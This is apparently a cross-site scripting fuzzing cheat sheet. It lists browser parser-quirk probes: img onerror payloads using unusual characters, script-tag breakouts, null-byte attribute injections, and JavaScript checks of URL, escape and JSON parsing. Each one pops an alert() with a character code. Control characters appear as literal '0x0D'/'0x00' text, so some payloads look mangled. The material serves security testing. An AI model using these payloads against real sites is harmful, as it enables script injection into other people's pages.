Cheat Sheet

({"x\0x0D0x0D
":1337}.x)==1337&&alert(13)

"x\
"==="x" && alert(10)

"x\0x0D"==="x" && alert(13)

"x\
"==="x" && alert(8232)

"x\
"==="x" && alert(8233)

<img src=data: onerror="1&gt alert(65279)">

<img src=data: onerror="1&gt
 alert(8232)">

<img src=data: onerror="1&gt> alert(62)">

<img src=data: onerror="1&gt~ alert(126)">

<img src=data: onerror="1&gt　 alert(12288)">

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp alert(8195)">

<form id="test" action="aaa0x00onsubmit=alert(1)><input/type='submit'>0x0D

<div id="test" style="⟦00⟧onload="alert(1)">hello</div>

<div id="test" style='0x00onload="alert(1)">hello</div>

var targets=['"','\'','<','/','>','\\']0x0D
if (targets.includes('0x00'.toUpperCase())) {0x0D
    alert(0+' (normal) (0x00 -> '+"0x00".toUpperCase()+')')0x0D
}0x0D
0x0D
if (targets.includes('0x00'.toLocaleUpperCase())) {0x0D
    alert(0+' (locale) (0x00 -> '+"0x00".toLocaleUpperCase()+')')0x0D
}

<div id="test" style="background-image: url(⟦00⟧;width:100%">hello</div>

<script>0x0D
x = "<!--<script>>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(62)>"></div>

<script>0x0D
x = "<!--<script0x0C>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(12)>"></div>

<script>0x0D
x = "<!--<script >"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(32)>"></div>

<script>0x0D
x = "<!--<script0x0D>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(13)>"></div>

<script>0x0D
x = "<!--<script/>"0x0D
</script>0x0D
<div title="</script><img src=data: onerror=alert(47)>"></div>

let img = document.createElement('img');0x0D
img.src = 'data:';0x0D
img.setAttribute('\onerror','alert(92)')0x0D
document.body.append(img);

new URL("https://x.se/long/..0x09/a").pathname.length > 4 ?  false : alert(9)

new URL("https://x.se/long/..#/a").pathname.length > 4 ?  false : alert(35)

new URL("https://x.se/long/..//a").pathname.length > 4 ?  false : alert(47)

new URL("https://x.se/long/..?/a").pathname.length > 4 ?  false : alert(63)

new URL("https://x.se/long/..\/a").pathname.length > 4 ?  false : alert(92)

b1 = Math.floor(i / 256);0x0D
b2 = i % 256;0x0D
c = d.decode(new Uint8Array([0x1b, 0x24, 0x40, b1, b2])) 0x0D
if (c.split("").map((c) => c.charCodeAt(0)).some((i) => i < 127)) alert(i)

<img src=>{"[alert]"}<img/src/onerror=alert(1)>

let chr = String.fromCodePoint(33);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(33)

let chr = String.fromCodePoint(43);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(43)

let chr = String.fromCodePoint(47);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(47)

let chr = String.fromCodePoint(64);0x0D
escape(chr) !== encodeURIComponent(chr) && alert(64)

<script>"\\"-alert(92)//"</script>

<<script><notfound></script>

try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(0))) { 0x0D
        JSON.parse(`{"test":"0x00"}`);0x0D
    }0x0D
} catch {0x0D
    alert(0);0x0D
}0x0D

try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(1))) { 0x0D
        JSON.parse(`{"test":"0x01"}`);0x0D
    }0x0D
} catch {0x0D
    alert(1);0x0D
}0x0D

try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(2))) { 0x0D
        JSON.parse(`{"test":"0x02"}`);0x0D
    }0x0D
} catch {0x0D
    alert(2);0x0D
}0x0D

try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(3))) { 0x0D
        JSON.parse(`{"test":"0x03"}`);0x0D
    }0x0D
} catch {0x0D
    alert(3);0x0D
}0x0D

try {0x0D
    standard_chars = [0x0D
        `"`, `'`, `,`, `\n`, `\t`, `\r`, `}`, `{`, `\\`0x0D
    ];0x0D
0x0D
    if (!standard_chars.includes(String.fromCodePoint(4))) { 0x0D
        JSON.parse(`{"test":"0x04"}`);0x0D
    }0x0D
} catch {0x0D
    alert(4);0x0D
}0x0D

let transformedChr = String.fromCodePoint(0).toUpperCase();0x0D
0 > 0x7f &&0x0D
/^\w+$/.test(transformedChr) &&0x0D
alert(0 + '=>' + transformedChr)